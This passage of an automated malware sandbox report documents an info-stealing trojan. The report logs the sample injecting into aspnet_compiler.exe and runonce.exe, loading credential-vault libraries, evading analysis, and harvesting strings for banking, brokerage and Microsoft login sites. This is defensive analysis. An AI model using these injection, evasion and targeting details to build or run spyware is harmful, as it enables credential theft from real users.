Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04687A46	7_2_04687A46
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_0467DAC6	7_2_0467DAC6
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04615AA0	7_2_04615AA0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04671AA3	7_2_04671AA3
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_0466DAAC	7_2_0466DAAC
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_0468FB76	7_2_0468FB76
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_04645BF0	7_2_04645BF0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_0460DBF9	7_2_0460DBF9
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_045EFB80	7_2_045EFB80
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_00361FD0	7_2_00361FD0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_0035CE50	7_2_0035CE50
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_0035CE47	7_2_0035CE47
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_0035D070	7_2_0035D070
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_0035B060	7_2_0035B060
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_0035B1B0	7_2_0035B1B0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_0035B1A4	7_2_0035B1A4
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_0035B1F9	7_2_0035B1F9
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_00365670	7_2_00365670
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_0036387B	7_2_0036387B
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_00363880	7_2_00363880
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_0037BE50	7_2_0037BE50
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_043EE467	7_2_043EE467
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_043EE7FC	7_2_043EE7FC
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_043ED8C8	7_2_043ED8C8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: String function: 0175B970 appears 277 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: String function: 017B7E54 appears 111 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: String function: 017EF290 appears 105 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: String function: 017DEA12 appears 86 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: String function: 017A5130 appears 58 times
Source: C:\Windows\SysWOW64\runonce.exe	Code function: String function: 04605130 appears 58 times
Source: C:\Windows\SysWOW64\runonce.exe	Code function: String function: 0464F290 appears 105 times
Source: C:\Windows\SysWOW64\runonce.exe	Code function: String function: 04617E54 appears 111 times
Source: C:\Windows\SysWOW64\runonce.exe	Code function: String function: 045BB970 appears 277 times
Source: C:\Windows\SysWOW64\runonce.exe	Code function: String function: 0463EA12 appears 86 times

Source: uI1A364y2P.exe, 00000001.00000002.1403612311.000000000119E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs uI1A364y2P.exe
Source: uI1A364y2P.exe, 00000001.00000000.1375297221.0000000000B5A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameCZXSYYS.exe0 vs uI1A364y2P.exe
Source: uI1A364y2P.exe	Binary or memory string: OriginalFilenameCZXSYYS.exe0 vs uI1A364y2P.exe

Source: uI1A364y2P.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: uI1A364y2P.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@11/2@6/5

Source: C:\Users\user\Desktop\uI1A364y2P.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\uI1A364y2P.exe.log

Source: unknown	Process created: C:\Users\user\Desktop\uI1A364y2P.exe "C:\Users\user\Desktop\uI1A364y2P.exe"
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Process created: C:\Windows\SysWOW64\runonce.exe "C:\Windows\SysWOW64\runonce.exe"
Source: C:\Windows\SysWOW64\runonce.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Process created: C:\Windows\SysWOW64\runonce.exe "C:\Windows\SysWOW64\runonce.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\uI1A364y2P.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_0041F04F push ebx; ret	4_2_0041F058
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_00403280 push eax; ret	4_2_00403282
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_0041AB61 pushfd ; ret	4_2_0041AB78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_0041ABD6 push ds; ret	4_2_0041ABD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_0040D38A push edx; iretd	4_2_0040D453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_00426CC3 pushad ; iretd	4_2_00426CEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_004084DA push esi; retf	4_2_004084DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_004084FF push ebp; iretd	4_2_00408502
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_00412559 push ecx; iretd	4_2_0041255A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_004125DC pushfd ; iretd	4_2_004125FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_00405E25 push ecx; ret	4_2_00405E2B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_00401F0E push ss; retf	4_2_00401F14
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_0173225F pushad ; ret	4_2_017327F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017327FA pushad ; ret	4_2_017327F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_017609AD push ecx; mov dword ptr [esp], ecx	4_2_017609B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_0173283D push eax; iretd	4_2_01732858
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Code function: 6_2_03EEE3E1 push edx; iretd	6_2_03EEE4AA
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Code function: 6_2_03EFBBB8 pushfd ; ret	6_2_03EFBBCF
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Code function: 6_2_03EF4EB0 push 2C1D344Fh; ret	6_2_03EF4EB7
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Code function: 6_2_03EE6E7C push ecx; ret	6_2_03EE6E82
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Code function: 6_2_03EF3633 pushfd ; iretd	6_2_03EF3652
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Code function: 6_2_03EF35B0 push ecx; iretd	6_2_03EF35B1
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Code function: 6_2_03EE9556 push ebp; iretd	6_2_03EE9559
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Code function: 6_2_03EF753E push eax; ret	6_2_03EF754A
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Code function: 6_2_03EE9531 push esi; retf	6_2_03EE9534
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe	Code function: 6_2_03EFBC2D push ds; ret	6_2_03EFBC2F
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_045C09AD push ecx; mov dword ptr [esp], ecx	7_2_045C09B6
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_00352BA2 push ecx; ret	7_2_00352BA8
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_0035527C push ebp; iretd	7_2_0035527F
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_00355257 push esi; retf	7_2_0035525A
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 7_2_0035F2D6 push ecx; iretd	7_2_0035F2D7

Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\runonce.exe	API/Special instruction interceptor: Address: 7FFB2CECD324
Source: C:\Windows\SysWOW64\runonce.exe	API/Special instruction interceptor: Address: 7FFB2CECD7E4
Source: C:\Windows\SysWOW64\runonce.exe	API/Special instruction interceptor: Address: 7FFB2CECD944
Source: C:\Windows\SysWOW64\runonce.exe	API/Special instruction interceptor: Address: 7FFB2CECD504
Source: C:\Windows\SysWOW64\runonce.exe	API/Special instruction interceptor: Address: 7FFB2CECD544
Source: C:\Windows\SysWOW64\runonce.exe	API/Special instruction interceptor: Address: 7FFB2CECD1E4
Source: C:\Windows\SysWOW64\runonce.exe	API/Special instruction interceptor: Address: 7FFB2CED0154
Source: C:\Windows\SysWOW64\runonce.exe	API/Special instruction interceptor: Address: 7FFB2CECDA44

Source: C:\Users\user\Desktop\uI1A364y2P.exe	Memory allocated: 1170000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Memory allocated: 2F60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Memory allocated: 2DC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Memory allocated: 54A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Memory allocated: 64A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Memory allocated: 65D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Memory allocated: 75D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Memory allocated: 7930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Memory allocated: 8930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\uI1A364y2P.exe	Memory allocated: 9930000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\runonce.exe	Window / User API: threadDelayed 4460			Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe	Window / User API: threadDelayed 5512			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\runonce.exe	API coverage: 2.6 %

Source: C:\Users\user\Desktop\uI1A364y2P.exe TID: 7512	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe TID: 8064	Thread sleep count: 4460 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe TID: 8064	Thread sleep time: -8920000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe TID: 8064	Thread sleep count: 5512 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\runonce.exe TID: 8064	Thread sleep time: -11024000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\zk0NoejtsplNyT.exe TID: 8084	Thread sleep time: -35000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\runonce.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\runonce.exe	Last function: Thread delayed

Source: 6511-iOQ--.7.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: 6511-iOQ--.7.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: 6511-iOQ--.7.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: 6511-iOQ--.7.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: 6511-iOQ--.7.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: 6511-iOQ--.7.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: runonce.exe, 00000007.00000002.2626292695.0000000007652000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: active Brokers - COM.HKVMware20,11696492231
Source: 6511-iOQ--.7.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: 6511-iOQ--.7.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: 6511-iOQ--.7.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: 6511-iOQ--.7.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: runonce.exe, 00000007.00000002.2626292695.0000000007652000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e365.comVMware20,11696492231t
Source: 6511-iOQ--.7.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: 6511-iOQ--.7.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: 6511-iOQ--.7.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: 6511-iOQ--.7.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: 6511-iOQ--.7.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: 6511-iOQ--.7.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: zk0NoejtsplNyT.exe, 0000000A.00000002.2621634609.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000C.00000002.2207962451.000001AE36CDC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: runonce.exe, 00000007.00000002.2626292695.0000000007652000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: look.office.comVMware20,P
Source: runonce.exe, 00000007.00000002.2626292695.0000000007652000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ebrokers.co.inVMware20,11696492231d
Source: runonce.exe, 00000007.00000002.2626292695.0000000007652000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware
Source: 6511-iOQ--.7.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: runonce.exe, 00000007.00000002.2626292695.0000000007652000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11
Source: 6511-iOQ--.7.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: 6511-iOQ--.7.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: 6511-iOQ--.7.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: 6511-iOQ--.7.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: runonce.exe, 00000007.00000002.2626292695.0000000007652000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tVMware20,11696492231
Source: 6511-iOQ--.7.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: runonce.exe, 00000007.00000002.2626292695.0000000007652000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .comVMware20,11696492231o
Source: runonce.exe, 00000007.00000002.2626292695.0000000007652000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: block list test formVMware20,11696492231
Source: 6511-iOQ--.7.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: runonce.exe, 00000007.00000002.2626292695.0000000007652000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: EU WestVMware20,11696492231n
Source: runonce.exe, 00000007.00000002.2626292695.0000000007652000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ive Brokers - GDCDYNVMware20,11696492231
Source: 6511-iOQ--.7.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: runonce.exe, 00000007.00000002.2626292695.0000000007652000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: re.comVMware20,11696492231
Source: 6511-iOQ--.7.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: 6511-iOQ--.7.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: 6511-iOQ--.7.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: runonce.exe, 00000007.00000002.2626292695.0000000007652000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .comVMware20,11696492231@
Source: runonce.exe, 00000007.00000002.2621389939.000000000070A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll&(
Source: 6511-iOQ--.7.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: 6511-iOQ--.7.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: 6511-iOQ--.7.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: 6511-iOQ--.7.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process queried: DebugPort			Jump to behavior
